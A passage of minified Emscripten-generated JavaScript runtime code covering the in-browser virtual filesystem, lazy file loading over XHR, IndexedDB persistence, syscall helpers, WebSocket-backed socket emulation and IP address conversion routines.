lookup=FS.lookupPath(path,{parent:true});ret.parentExists=true;ret.parentPath=lookup.path;ret.parentObject=lookup.node;ret.name=PATH.basename(path);lookup=FS.lookupPath(path,{follow:!dontResolveLastLink});ret.exists=true;ret.path=lookup.path;ret.object=lookup.node;ret.name=lookup.node.name;ret.isRoot=lookup.path===\"/\"}catch(e){ret.error=e.errno}return ret}),createFolder:(function(parent,name,canRead,canWrite){var path=PATH.join2(typeof parent===\"string\"?parent:FS.getPath(parent),name);var mode=FS.getMode(canRead,canWrite);return FS.mkdir(path,mode)}),createPath:(function(parent,path,canRead,canWrite){parent=typeof parent===\"string\"?parent:FS.getPath(parent);var parts=path.split(\"/\").reverse();while(parts.length){var part=parts.pop();if(!part)continue;var current=PATH.join2(parent,part);try{FS.mkdir(current)}catch(e){}parent=current}return current}),createFile:(function(parent,name,properties,canRead,canWrite){var path=PATH.join2(typeof parent===\"string\"?parent:FS.getPath(parent),name);var mode=FS.getMode(canRead,canWrite);return FS.create(path,mode)}),createDataFile:(function(parent,name,data,canRead,canWrite,canOwn){var path=name?PATH.join2(typeof parent===\"string\"?parent:FS.getPath(parent),name):parent;var mode=FS.getMode(canRead,canWrite);var node=FS.create(path,mode);if(data){if(typeof data===\"string\"){var arr=new Array(data.length);for(var i=0,len=data.length;i<len;++i)arr[i]=data.charCodeAt(i);data=arr}FS.chmod(node,mode|146);var stream=FS.open(node,\"w\");FS.write(stream,data,0,data.length,0,canOwn);FS.close(stream);FS.chmod(node,mode)}return node}),createDevice:(function(parent,name,input,output){var path=PATH.join2(typeof parent===\"string\"?parent:FS.getPath(parent),name);var mode=FS.getMode(!!input,!!output);if(!FS.createDevice.major)FS.createDevice.major=64;var dev=FS.makedev(FS.createDevice.major++,0);FS.registerDevice(dev,{open:(function(stream){stream.seekable=false}),close:(function(stream){if(output&&output.buffer&&output.buffer.length){output(10)}}),read:(function(stream,buffer,offset,length,pos){var bytesRead=0;for(var i=0;i<length;i++){var result;try{result=input()}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}if(result===undefined&&bytesRead===0){throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)}if(result===null||result===undefined)break;bytesRead++;buffer[offset+i]=result}if(bytesRead){stream.node.timestamp=Date.now()}return bytesRead}),write:(function(stream,buffer,offset,length,pos){for(var i=0;i<length;i++){try{output(buffer[offset+i])}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}}if(length){stream.node.timestamp=Date.now()}return i})});return FS.mkdev(path,mode,dev)}),createLink:(function(parent,name,target,canRead,canWrite){var path=PATH.join2(typeof parent===\"string\"?parent:FS.getPath(parent),name);return FS.symlink(target,path)}),forceLoadFile:(function(obj){if(obj.isDevice||obj.isFolder||obj.link||obj.contents)return true;var success=true;if(typeof XMLHttpRequest!==\"undefined\"){throw new Error(\"Lazy loading should have been performed (contents set) in createLazyFile, but it was not. Lazy loading only works in web workers. Use --embed-file or --preload-file in emcc on the main thread.\")}else if(Module[\"read\"]){try{obj.contents=intArrayFromString(Module[\"read\"](obj.url),true);obj.usedBytes=obj.contents.length}catch(e){success=false}}else{throw new Error(\"Cannot load without read() or XMLHttpRequest.\")}if(!success)___setErrNo(ERRNO_CODES.EIO);return success}),createLazyFile:(function(parent,name,url,canRead,canWrite){function LazyUint8Array(){this.lengthKnown=false;this.chunks=[]}LazyUint8Array.prototype.get=function LazyUint8Array_get(idx){if(idx>this.length-1||idx<0){return undefined}var chunkOffset=idx%this.chunkSize;var chunkNum=idx/this.chunkSize|0;return this.getter(chunkNum)[chunkOffset]};LazyUint8Array.prototype.setDataGetter=function LazyUint8Array_setDataGetter(getter){this.getter=getter};LazyUint8Array.prototype.cacheLength=function LazyUint8Array_cacheLength(){var xhr=new XMLHttpRequest;xhr.open(\"HEAD\",url,false);xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))throw new Error(\"Couldn't load \"+url+\". Status: \"+xhr.status);var datalength=Number(xhr.getResponseHeader(\"Content-length\"));var header;var hasByteServing=(header=xhr.getResponseHeader(\"Accept-Ranges\"))&&header===\"bytes\";var usesGzip=(header=xhr.getResponseHeader(\"Content-Encoding\"))&&header===\"gzip\";var chunkSize=1024*1024;if(!hasByteServing)chunkSize=datalength;var doXHR=(function(from,to){if(from>to)throw new Error(\"invalid range (\"+from+\", \"+to+\") or no bytes requested!\");if(to>datalength-1)throw new Error(\"only \"+datalength+\" bytes available! programmer error!\");var xhr=new XMLHttpRequest;xhr.open(\"GET\",url,false);if(datalength!==chunkSize)xhr.setRequestHeader(\"Range\",\"bytes=\"+from+\"-\"+to);if(typeof Uint8Array!=\"undefined\")xhr.responseType=\"arraybuffer\";if(xhr.overrideMimeType){xhr.overrideMimeType(\"text/plain; charset=x-user-defined\")}xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))throw new Error(\"Couldn't load \"+url+\". Status: \"+xhr.status);if(xhr.response!==undefined){return new Uint8Array(xhr.response||[])}else{return intArrayFromString(xhr.responseText||\"\",true)}});var lazyArray=this;lazyArray.setDataGetter((function(chunkNum){var start=chunkNum*chunkSize;var end=(chunkNum+1)*chunkSize-1;end=Math.min(end,datalength-1);if(typeof lazyArray.chunks[chunkNum]===\"undefined\"){lazyArray.chunks[chunkNum]=doXHR(start,end)}if(typeof lazyArray.chunks[chunkNum]===\"undefined\")throw new Error(\"doXHR failed!\");return lazyArray.chunks[chunkNum]}));if(usesGzip||!datalength){chunkSize=datalength=1;datalength=this.getter(0).length;chunkSize=datalength;console.log(\"LazyFiles on gzip forces download of the whole file when length is accessed\")}this._length=datalength;this._chunkSize=chunkSize;this.lengthKnown=true};if(typeof XMLHttpRequest!==\"undefined\"){if(!ENVIRONMENT_IS_WORKER)throw\"Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc\";var lazyArray=new LazyUint8Array;Object.defineProperties(lazyArray,{length:{get:(function(){if(!this.lengthKnown){this.cacheLength()}return this._length})},chunkSize:{get:(function(){if(!this.lengthKnown){this.cacheLength()}return this._chunkSize})}});var properties={isDevice:false,contents:lazyArray}}else{var properties={isDevice:false,url:url}}var node=FS.createFile(parent,name,properties,canRead,canWrite);if(properties.contents){node.contents=properties.contents}else if(properties.url){node.contents=null;node.url=properties.url}Object.defineProperties(node,{usedBytes:{get:(function(){return this.contents.length})}});var stream_ops={};var keys=Object.keys(node.stream_ops);keys.forEach((function(key){var fn=node.stream_ops[key];stream_ops[key]=function forceLoadLazyFile(){if(!FS.forceLoadFile(node)){throw new FS.ErrnoError(ERRNO_CODES.EIO)}return fn.apply(null,arguments)}}));stream_ops.read=function stream_ops_read(stream,buffer,offset,length,position){if(!FS.forceLoadFile(node)){throw new FS.ErrnoError(ERRNO_CODES.EIO)}var contents=stream.node.contents;if(position>=contents.length)return 0;var size=Math.min(contents.length-position,length);assert(size>=0);if(contents.slice){for(var i=0;i<size;i++){buffer[offset+i]=contents[position+i]}}else{for(var i=0;i<size;i++){buffer[offset+i]=contents.get(position+i)}}return size};node.stream_ops=stream_ops;return node}),createPreloadedFile:(function(parent,name,url,canRead,canWrite,onload,onerror,dontCreateFile,canOwn,preFinish){Browser.init();var fullname=name?PATH.resolve(PATH.join2(parent,name)):parent;var dep=getUniqueRunDependency(\"cp \"+fullname);function processData(byteArray){function finish(byteArray){if(preFinish)preFinish();if(!dontCreateFile){FS.createDataFile(parent,name,byteArray,canRead,canWrite,canOwn)}if(onload)onload();removeRunDependency(dep)}var handled=false;Module[\"preloadPlugins\"].forEach((function(plugin){if(handled)return;if(plugin[\"canHandle\"](fullname)){plugin[\"handle\"](byteArray,fullname,finish,(function(){if(onerror)onerror();removeRunDependency(dep)}));handled=true}}));if(!handled)finish(byteArray)}addRunDependency(dep);if(typeof url==\"string\"){Browser.asyncLoad(url,(function(byteArray){processData(byteArray)}),onerror)}else{processData(url)}}),indexedDB:(function(){return window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB}),DB_NAME:(function(){return\"EM_FS_\"+window.location.pathname}),DB_VERSION:20,DB_STORE_NAME:\"FILE_DATA\",saveFilesToDB:(function(paths,onload,onerror){onload=onload||(function(){});onerror=onerror||(function(){});var indexedDB=FS.indexedDB();try{var openRequest=indexedDB.open(FS.DB_NAME(),FS.DB_VERSION)}catch(e){return onerror(e)}openRequest.onupgradeneeded=function openRequest_onupgradeneeded(){console.log(\"creating db\");var db=openRequest.result;db.createObjectStore(FS.DB_STORE_NAME)};openRequest.onsuccess=function openRequest_onsuccess(){var db=openRequest.result;var transaction=db.transaction([FS.DB_STORE_NAME],\"readwrite\");var files=transaction.objectStore(FS.DB_STORE_NAME);var ok=0,fail=0,total=paths.length;function finish(){if(fail==0)onload();else onerror()}paths.forEach((function(path){var putRequest=files.put(FS.analyzePath(path).object.contents,path);putRequest.onsuccess=function putRequest_onsuccess(){ok++;if(ok+fail==total)finish()};putRequest.onerror=function putRequest_onerror(){fail++;if(ok+fail==total)finish()}}));transaction.onerror=onerror};openRequest.onerror=onerror}),loadFilesFromDB:(function(paths,onload,onerror){onload=onload||(function(){});onerror=onerror||(function(){});var indexedDB=FS.indexedDB();try{var openRequest=indexedDB.open(FS.DB_NAME(),FS.DB_VERSION)}catch(e){return onerror(e)}openRequest.onupgradeneeded=onerror;openRequest.onsuccess=function openRequest_onsuccess(){var db=openRequest.result;try{var transaction=db.transaction([FS.DB_STORE_NAME],\"readonly\")}catch(e){onerror(e);return}var files=transaction.objectStore(FS.DB_STORE_NAME);var ok=0,fail=0,total=paths.length;function finish(){if(fail==0)onload();else onerror()}paths.forEach((function(path){var getRequest=files.get(path);getRequest.onsuccess=function getRequest_onsuccess(){if(FS.analyzePath(path).exists){FS.unlink(path)}FS.createDataFile(PATH.dirname(path),PATH.basename(path),getRequest.result,true,true,true);ok++;if(ok+fail==total)finish()};getRequest.onerror=function getRequest_onerror(){fail++;if(ok+fail==total)finish()}}));transaction.onerror=onerror};openRequest.onerror=onerror})};var SYSCALLS={DEFAULT_POLLMASK:5,mappings:{},umask:511,calculateAt:(function(dirfd,path){if(path[0]!==\"/\"){var dir;if(dirfd===-100){dir=FS.cwd()}else{var dirstream=FS.getStream(dirfd);if(!dirstream)throw new FS.ErrnoError(ERRNO_CODES.EBADF);dir=dirstream.path}path=PATH.join2(dir,path)}return path}),doStat:(function(func,path,buf){try{var stat=func(path)}catch(e){if(e&&e.node&&PATH.normalize(path)!==PATH.normalize(FS.getPath(e.node))){return-ERRNO_CODES.ENOTDIR}throw e}HEAP32[buf>>2]=stat.dev;HEAP32[buf+4>>2]=0;HEAP32[buf+8>>2]=stat.ino;HEAP32[buf+12>>2]=stat.mode;HEAP32[buf+16>>2]=stat.nlink;HEAP32[buf+20>>2]=stat.uid;HEAP32[buf+24>>2]=stat.gid;HEAP32[buf+28>>2]=stat.rdev;HEAP32[buf+32>>2]=0;HEAP32[buf+36>>2]=stat.size;HEAP32[buf+40>>2]=4096;HEAP32[buf+44>>2]=stat.blocks;HEAP32[buf+48>>2]=stat.atime.getTime()/1e3|0;HEAP32[buf+52>>2]=0;HEAP32[buf+56>>2]=stat.mtime.getTime()/1e3|0;HEAP32[buf+60>>2]=0;HEAP32[buf+64>>2]=stat.ctime.getTime()/1e3|0;HEAP32[buf+68>>2]=0;HEAP32[buf+72>>2]=stat.ino;return 0}),doMsync:(function(addr,stream,len,flags){var buffer=new Uint8Array(HEAPU8.subarray(addr,addr+len));FS.msync(stream,buffer,0,len,flags)}),doMkdir:(function(path,mode){path=PATH.normalize(path);if(path[path.length-1]===\"/\")path=path.substr(0,path.length-1);FS.mkdir(path,mode,0);return 0}),doMknod:(function(path,mode,dev){switch(mode&61440){case 32768:case 8192:case 24576:case 4096:case 49152:break;default:return-ERRNO_CODES.EINVAL}FS.mknod(path,mode,dev);return 0}),doReadlink:(function(path,buf,bufsize){if(bufsize<=0)return-ERRNO_CODES.EINVAL;var ret=FS.readlink(path);var len=Math.min(bufsize,lengthBytesUTF8(ret));var endChar=HEAP8[buf+len];stringToUTF8(ret,buf,bufsize+1);HEAP8[buf+len]=endChar;return len}),doAccess:(function(path,amode){if(amode&~7){return-ERRNO_CODES.EINVAL}var node;var lookup=FS.lookupPath(path,{follow:true});node=lookup.node;var perms=\"\";if(amode&4)perms+=\"r\";if(amode&2)perms+=\"w\";if(amode&1)perms+=\"x\";if(perms&&FS.nodePermissions(node,perms)){return-ERRNO_CODES.EACCES}return 0}),doDup:(function(path,flags,suggestFD){var suggest=FS.getStream(suggestFD);if(suggest)FS.close(suggest);return FS.open(path,flags,0,suggestFD,suggestFD).fd}),doReadv:(function(stream,iov,iovcnt,offset){var ret=0;for(var i=0;i<iovcnt;i++){var ptr=HEAP32[iov+i*8>>2];var len=HEAP32[iov+(i*8+4)>>2];var curr=FS.read(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr;if(curr<len)break}return ret}),doWritev:(function(stream,iov,iovcnt,offset){var ret=0;for(var i=0;i<iovcnt;i++){var ptr=HEAP32[iov+i*8>>2];var len=HEAP32[iov+(i*8+4)>>2];var curr=FS.write(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr}return ret}),varargs:0,get:(function(varargs){SYSCALLS.varargs+=4;var ret=HEAP32[SYSCALLS.varargs-4>>2];return ret}),getStr:(function(){var ret=Pointer_stringify(SYSCALLS.get());return ret}),getStreamFromFD:(function(){var stream=FS.getStream(SYSCALLS.get());if(!stream)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return stream}),getSocketFromFD:(function(){var socket=SOCKFS.getSocket(SYSCALLS.get());if(!socket)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return socket}),getSocketAddress:(function(allowNull){var addrp=SYSCALLS.get(),addrlen=SYSCALLS.get();if(allowNull&&addrp===0)return null;var info=__read_sockaddr(addrp,addrlen);if(info.errno)throw new FS.ErrnoError(info.errno);info.addr=DNS.lookup_addr(info.addr)||info.addr;return info}),get64:(function(){var low=SYSCALLS.get(),high=SYSCALLS.get();if(low>=0)assert(high===0);else assert(high===-1);return low}),getZero:(function(){assert(SYSCALLS.get()===0)})};function ___syscall10(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr();FS.unlink(path);return 0}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}var SOCKFS={mount:(function(mount){Module[\"websocket\"]=Module[\"websocket\"]&&\"object\"===typeof Module[\"websocket\"]?Module[\"websocket\"]:{};Module[\"websocket\"]._callbacks={};Module[\"websocket\"][\"on\"]=(function(event,callback){if(\"function\"===typeof callback){this._callbacks[event]=callback}return this});Module[\"websocket\"].emit=(function(event,param){if(\"function\"===typeof this._callbacks[event]){this._callbacks[event].call(this,param)}});return FS.createNode(null,\"/\",16384|511,0)}),createSocket:(function(family,type,protocol){var streaming=type==1;if(protocol){assert(streaming==(protocol==6))}var sock={family:family,type:type,protocol:protocol,server:null,error:null,peers:{},pending:[],recv_queue:[],sock_ops:SOCKFS.websocket_sock_ops};var name=SOCKFS.nextname();var node=FS.createNode(SOCKFS.root,name,49152,0);node.sock=sock;var stream=FS.createStream({path:name,node:node,flags:FS.modeStringToFlags(\"r+\"),seekable:false,stream_ops:SOCKFS.stream_ops});sock.stream=stream;return sock}),getSocket:(function(fd){var stream=FS.getStream(fd);if(!stream||!FS.isSocket(stream.node.mode)){return null}return stream.node.sock}),stream_ops:{poll:(function(stream){var sock=stream.node.sock;return sock.sock_ops.poll(sock)}),ioctl:(function(stream,request,varargs){var sock=stream.node.sock;return sock.sock_ops.ioctl(sock,request,varargs)}),read:(function(stream,buffer,offset,length,position){var sock=stream.node.sock;var msg=sock.sock_ops.recvmsg(sock,length);if(!msg){return 0}buffer.set(msg.buffer,offset);return msg.buffer.length}),write:(function(stream,buffer,offset,length,position){var sock=stream.node.sock;return sock.sock_ops.sendmsg(sock,buffer,offset,length)}),close:(function(stream){var sock=stream.node.sock;sock.sock_ops.close(sock)})},nextname:(function(){if(!SOCKFS.nextname.current){SOCKFS.nextname.current=0}return\"socket[\"+SOCKFS.nextname.current++ +\"]\"}),websocket_sock_ops:{createPeer:(function(sock,addr,port){var ws;if(typeof addr===\"object\"){ws=addr;addr=null;port=null}if(ws){if(ws._socket){addr=ws._socket.remoteAddress;port=ws._socket.remotePort}else{var result=/ws[s]?:\\/\\/([^:]+):(\\d+)/.exec(ws.url);if(!result){throw new Error(\"WebSocket URL must be in the format ws(s)://address:port\")}addr=result[1];port=parseInt(result[2],10)}}else{try{var runtimeConfig=Module[\"websocket\"]&&\"object\"===typeof Module[\"websocket\"];var url=\"ws:#\".replace(\"#\",\"//\");if(runtimeConfig){if(\"string\"===typeof Module[\"websocket\"][\"url\"]){url=Module[\"websocket\"][\"url\"]}}if(url===\"ws://\"||url===\"wss://\"){var parts=addr.split(\"/\");url=url+parts[0]+\":\"+port+\"/\"+parts.slice(1).join(\"/\")}var subProtocols=\"binary\";if(runtimeConfig){if(\"string\"===typeof Module[\"websocket\"][\"subprotocol\"]){subProtocols=Module[\"websocket\"][\"subprotocol\"]}}subProtocols=subProtocols.replace(/^ +| +$/g,\"\").split(/ *, */);var opts=ENVIRONMENT_IS_NODE?{\"protocol\":subProtocols.toString()}:subProtocols;if(runtimeConfig&&null===Module[\"websocket\"][\"subprotocol\"]){subProtocols=\"null\";opts=undefined}var WebSocketConstructor;if(ENVIRONMENT_IS_NODE){WebSocketConstructor=require(\"ws\")}else if(ENVIRONMENT_IS_WEB){WebSocketConstructor=window[\"WebSocket\"]}else{WebSocketConstructor=WebSocket}ws=new WebSocketConstructor(url,opts);ws.binaryType=\"arraybuffer\"}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EHOSTUNREACH)}}var peer={addr:addr,port:port,socket:ws,dgram_send_queue:[]};SOCKFS.websocket_sock_ops.addPeer(sock,peer);SOCKFS.websocket_sock_ops.handlePeerEvents(sock,peer);if(sock.type===2&&typeof sock.sport!==\"undefined\"){peer.dgram_send_queue.push(new Uint8Array([255,255,255,255,\"p\".charCodeAt(0),\"o\".charCodeAt(0),\"r\".charCodeAt(0),\"t\".charCodeAt(0),(sock.sport&65280)>>8,sock.sport&255]))}return peer}),getPeer:(function(sock,addr,port){return sock.peers[addr+\":\"+port]}),addPeer:(function(sock,peer){sock.peers[peer.addr+\":\"+peer.port]=peer}),removePeer:(function(sock,peer){delete sock.peers[peer.addr+\":\"+peer.port]}),handlePeerEvents:(function(sock,peer){var first=true;var handleOpen=(function(){Module[\"websocket\"].emit(\"open\",sock.stream.fd);try{var queued=peer.dgram_send_queue.shift();while(queued){peer.socket.send(queued);queued=peer.dgram_send_queue.shift()}}catch(e){peer.socket.close()}});function handleMessage(data){assert(typeof data!==\"string\"&&data.byteLength!==undefined);if(data.byteLength==0){return}data=new Uint8Array(data);var wasfirst=first;first=false;if(wasfirst&&data.length===10&&data[0]===255&&data[1]===255&&data[2]===255&&data[3]===255&&data[4]===\"p\".charCodeAt(0)&&data[5]===\"o\".charCodeAt(0)&&data[6]===\"r\".charCodeAt(0)&&data[7]===\"t\".charCodeAt(0)){var newport=data[8]<<8|data[9];SOCKFS.websocket_sock_ops.removePeer(sock,peer);peer.port=newport;SOCKFS.websocket_sock_ops.addPeer(sock,peer);return}sock.recv_queue.push({addr:peer.addr,port:peer.port,data:data});Module[\"websocket\"].emit(\"message\",sock.stream.fd)}if(ENVIRONMENT_IS_NODE){peer.socket.on(\"open\",handleOpen);peer.socket.on(\"message\",(function(data,flags){if(!flags.binary){return}handleMessage((new Uint8Array(data)).buffer)}));peer.socket.on(\"close\",(function(){Module[\"websocket\"].emit(\"close\",sock.stream.fd)}));peer.socket.on(\"error\",(function(error){sock.error=ERRNO_CODES.ECONNREFUSED;Module[\"websocket\"].emit(\"error\",[sock.stream.fd,sock.error,\"ECONNREFUSED: Connection refused\"])}))}else{peer.socket.onopen=handleOpen;peer.socket.onclose=(function(){Module[\"websocket\"].emit(\"close\",sock.stream.fd)});peer.socket.onmessage=function peer_socket_onmessage(event){handleMessage(event.data)};peer.socket.onerror=(function(error){sock.error=ERRNO_CODES.ECONNREFUSED;Module[\"websocket\"].emit(\"error\",[sock.stream.fd,sock.error,\"ECONNREFUSED: Connection refused\"])})}}),poll:(function(sock){if(sock.type===1&&sock.server){return sock.pending.length?64|1:0}var mask=0;var dest=sock.type===1?SOCKFS.websocket_sock_ops.getPeer(sock,sock.daddr,sock.dport):null;if(sock.recv_queue.length||!dest||dest&&dest.socket.readyState===dest.socket.CLOSING||dest&&dest.socket.readyState===dest.socket.CLOSED){mask|=64|1}if(!dest||dest&&dest.socket.readyState===dest.socket.OPEN){mask|=4}if(dest&&dest.socket.readyState===dest.socket.CLOSING||dest&&dest.socket.readyState===dest.socket.CLOSED){mask|=16}return mask}),ioctl:(function(sock,request,arg){switch(request){case 21531:var bytes=0;if(sock.recv_queue.length){bytes=sock.recv_queue[0].data.length}HEAP32[arg>>2]=bytes;return 0;default:return ERRNO_CODES.EINVAL}}),close:(function(sock){if(sock.server){try{sock.server.close()}catch(e){}sock.server=null}var peers=Object.keys(sock.peers);for(var i=0;i<peers.length;i++){var peer=sock.peers[peers[i]];try{peer.socket.close()}catch(e){}SOCKFS.websocket_sock_ops.removePeer(sock,peer)}return 0}),bind:(function(sock,addr,port){if(typeof sock.saddr!==\"undefined\"||typeof sock.sport!==\"undefined\"){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}sock.saddr=addr;sock.sport=port;if(sock.type===2){if(sock.server){sock.server.close();sock.server=null}try{sock.sock_ops.listen(sock,0)}catch(e){if(!(e instanceof FS.ErrnoError))throw e;if(e.errno!==ERRNO_CODES.EOPNOTSUPP)throw e}}}),connect:(function(sock,addr,port){if(sock.server){throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP)}if(typeof sock.daddr!==\"undefined\"&&typeof sock.dport!==\"undefined\"){var dest=SOCKFS.websocket_sock_ops.getPeer(sock,sock.daddr,sock.dport);if(dest){if(dest.socket.readyState===dest.socket.CONNECTING){throw new FS.ErrnoError(ERRNO_CODES.EALREADY)}else{throw new FS.ErrnoError(ERRNO_CODES.EISCONN)}}}var peer=SOCKFS.websocket_sock_ops.createPeer(sock,addr,port);sock.daddr=peer.addr;sock.dport=peer.port;throw new FS.ErrnoError(ERRNO_CODES.EINPROGRESS)}),listen:(function(sock,backlog){if(!ENVIRONMENT_IS_NODE){throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP)}if(sock.server){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var WebSocketServer=require(\"ws\").Server;var host=sock.saddr;sock.server=new WebSocketServer({host:host,port:sock.sport});Module[\"websocket\"].emit(\"listen\",sock.stream.fd);sock.server.on(\"connection\",(function(ws){if(sock.type===1){var newsock=SOCKFS.createSocket(sock.family,sock.type,sock.protocol);var peer=SOCKFS.websocket_sock_ops.createPeer(newsock,ws);newsock.daddr=peer.addr;newsock.dport=peer.port;sock.pending.push(newsock);Module[\"websocket\"].emit(\"connection\",newsock.stream.fd)}else{SOCKFS.websocket_sock_ops.createPeer(sock,ws);Module[\"websocket\"].emit(\"connection\",sock.stream.fd)}}));sock.server.on(\"closed\",(function(){Module[\"websocket\"].emit(\"close\",sock.stream.fd);sock.server=null}));sock.server.on(\"error\",(function(error){sock.error=ERRNO_CODES.EHOSTUNREACH;Module[\"websocket\"].emit(\"error\",[sock.stream.fd,sock.error,\"EHOSTUNREACH: Host is unreachable\"])}))}),accept:(function(listensock){if(!listensock.server){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var newsock=listensock.pending.shift();newsock.stream.flags=listensock.stream.flags;return newsock}),getname:(function(sock,peer){var addr,port;if(peer){if(sock.daddr===undefined||sock.dport===undefined){throw new FS.ErrnoError(ERRNO_CODES.ENOTCONN)}addr=sock.daddr;port=sock.dport}else{addr=sock.saddr||0;port=sock.sport||0}return{addr:addr,port:port}}),sendmsg:(function(sock,buffer,offset,length,addr,port){if(sock.type===2){if(addr===undefined||port===undefined){addr=sock.daddr;port=sock.dport}if(addr===undefined||port===undefined){throw new FS.ErrnoError(ERRNO_CODES.EDESTADDRREQ)}}else{addr=sock.daddr;port=sock.dport}var dest=SOCKFS.websocket_sock_ops.getPeer(sock,addr,port);if(sock.type===1){if(!dest||dest.socket.readyState===dest.socket.CLOSING||dest.socket.readyState===dest.socket.CLOSED){throw new FS.ErrnoError(ERRNO_CODES.ENOTCONN)}else if(dest.socket.readyState===dest.socket.CONNECTING){throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)}}if(ArrayBuffer.isView(buffer)){offset+=buffer.byteOffset;buffer=buffer.buffer}var data;data=buffer.slice(offset,offset+length);if(sock.type===2){if(!dest||dest.socket.readyState!==dest.socket.OPEN){if(!dest||dest.socket.readyState===dest.socket.CLOSING||dest.socket.readyState===dest.socket.CLOSED){dest=SOCKFS.websocket_sock_ops.createPeer(sock,addr,port)}dest.dgram_send_queue.push(data);return length}}try{dest.socket.send(data);return length}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}}),recvmsg:(function(sock,length){if(sock.type===1&&sock.server){throw new FS.ErrnoError(ERRNO_CODES.ENOTCONN)}var queued=sock.recv_queue.shift();if(!queued){if(sock.type===1){var dest=SOCKFS.websocket_sock_ops.getPeer(sock,sock.daddr,sock.dport);if(!dest){throw new FS.ErrnoError(ERRNO_CODES.ENOTCONN)}else if(dest.socket.readyState===dest.socket.CLOSING||dest.socket.readyState===dest.socket.CLOSED){return null}else{throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)}}else{throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)}}var queuedLength=queued.data.byteLength||queued.data.length;var queuedOffset=queued.data.byteOffset||0;var queuedBuffer=queued.data.buffer||queued.data;var bytesRead=Math.min(length,queuedLength);var res={buffer:new Uint8Array(queuedBuffer,queuedOffset,bytesRead),addr:queued.addr,port:queued.port};if(sock.type===1&&bytesRead<queuedLength){var bytesRemaining=queuedLength-bytesRead;queued.data=new Uint8Array(queuedBuffer,queuedOffset+bytesRead,bytesRemaining);sock.recv_queue.unshift(queued)}return res})}};function __inet_pton4_raw(str){var b=str.split(\".\");for(var i=0;i<4;i++){var tmp=Number(b[i]);if(isNaN(tmp))return null;b[i]=tmp}return(b[0]|b[1]<<8|b[2]<<16|b[3]<<24)>>>0}function __inet_pton6_raw(str){var words;var w,offset,z;var valid6regx=/^((?=.*::)(?!.*::.+::)(::)?([\\dA-F]{1,4}:(:|\\b)|){5}|([\\dA-F]{1,4}:){6})((([\\dA-F]{1,4}((?!\\3)::|:\\b|$))|(?!\\2\\3)){2}|(((2[0-4]|1\\d|[1-9])?\\d|25[0-5])\\.?\\b){4})$/i;var parts=[];if(!valid6regx.test(str)){return null}if(str===\"::\"){return[0,0,0,0,0,0,0,0]}if(str.indexOf(\"::\")===0){str=str.replace(\"::\",\"Z:\")}else{str=str.replace(\"::\",\":Z:\")}if(str.indexOf(\".\")>0){str=str.replace(new RegExp(\"[.]\",\"g\"),\":\");words=str.split(\":\");words[words.length-4]=parseInt(words[words.length-4])+parseInt(words[words.length-3])*256;words[words.length-3]=parseInt(words[words.length-2])+parseInt(words[words.length-1])*256;words=words.slice(0,words.length-2)}else{words=str.split(\":\")}offset=0;z=0;for(w=0;w<words.length;w++){if(typeof words[w]===\"string\"){if(words[w]===\"Z\"){for(z=0;z<8-words.length+1;z++){parts[w+z]=0}offset=z-1}else{parts[w+offset]=_htons(parseInt(words[w],16))}}else{parts[w+offset]=words[w]}}return[parts[1]<<16|parts[0],parts[3]<<16|parts[2],parts[5]<<16|parts[4],parts[7]<<16|parts[6]]}var DNS={address_map:{id:1,addrs:{},names:{}},lookup_name:(function(name){var res=__inet_pton4_raw(name);if(res!==null){return name}res=__inet_pton6_raw(name);if(res!==null){return name}var addr;if(DNS.address_map.addrs[name]){addr=DNS.address_map.addrs[name]}else{var id=DNS.address_map.id++;assert(id<65535,\"exceeded max address mappings of 65535\");addr=\"172.29.\"+(id&255)+\".\"+(id&65280);DNS.address_map.names[addr]=name;DNS.address_map.addrs[name]=addr}return addr}),lookup_addr:(function(addr){if(DNS.address_map.names[addr]){return DNS.address_map.names[addr]}return null})};function __inet_ntop4_raw(addr){return(addr&255)+\".\"+(addr>>8&255)+\".\"+(addr>>16&255)+\".\"+(addr>>24&255)}function __inet_ntop6_raw(ints){var str=\"\";var word=0;var longest=0;var lastzero=0;var zstart=0;var len=0;var i=0;var parts=[ints[0]&65535,ints[0]>>16,ints[1]&65535,ints[1]>>16,ints[2]&65535,ints[2]>>16,ints[3]&65535,ints[3]>>16];var hasipv4=true;var v4part=\"\";for(i=0;i<5;i++){if(parts[i]!==0){hasipv4=false;break}}if(hasipv4){v4part=__inet_ntop4_raw(parts[6]|parts[7]<<16);if(parts[5]===-1){str=\"::ffff:\";str+=v4part;return str}if(parts[5]===0){str=\"::\";if(v4part===\"0.0.0.0\")v4part=\"\";if(v4part===\"0.0.0.1\")v4part=\"1\";str+=v4part;return str}}for(word=0;word<8;word++){if(parts[word]===0){if(word-lastzero>1){len=0}lastzero=word;len++}if(len>longest){longest=len;zstart=word-longest+1}}for(word=0;word<8;word++){if(longest>1){if(parts[word]===0&&word>=zstart&&word<zstart+longest){if(word===zstart){str+=\":\";if(zstart===0)str+=\":\"}continue}}str+=Number(_ntohs(parts[word]&65535)).toString(16);str+=word<7?\":\":\"\"}return str}function __read_sockaddr(sa,salen){var family=HEAP16[sa>>1];var port=_ntohs(HEAP16[sa+2>>1]);var addr;switch(family){case 2:if(salen!==16){return{errno:ERRNO_CODES.EINVAL}}addr=HEAP32[sa+4>>2];addr=__inet_ntop4_raw(addr);break;case 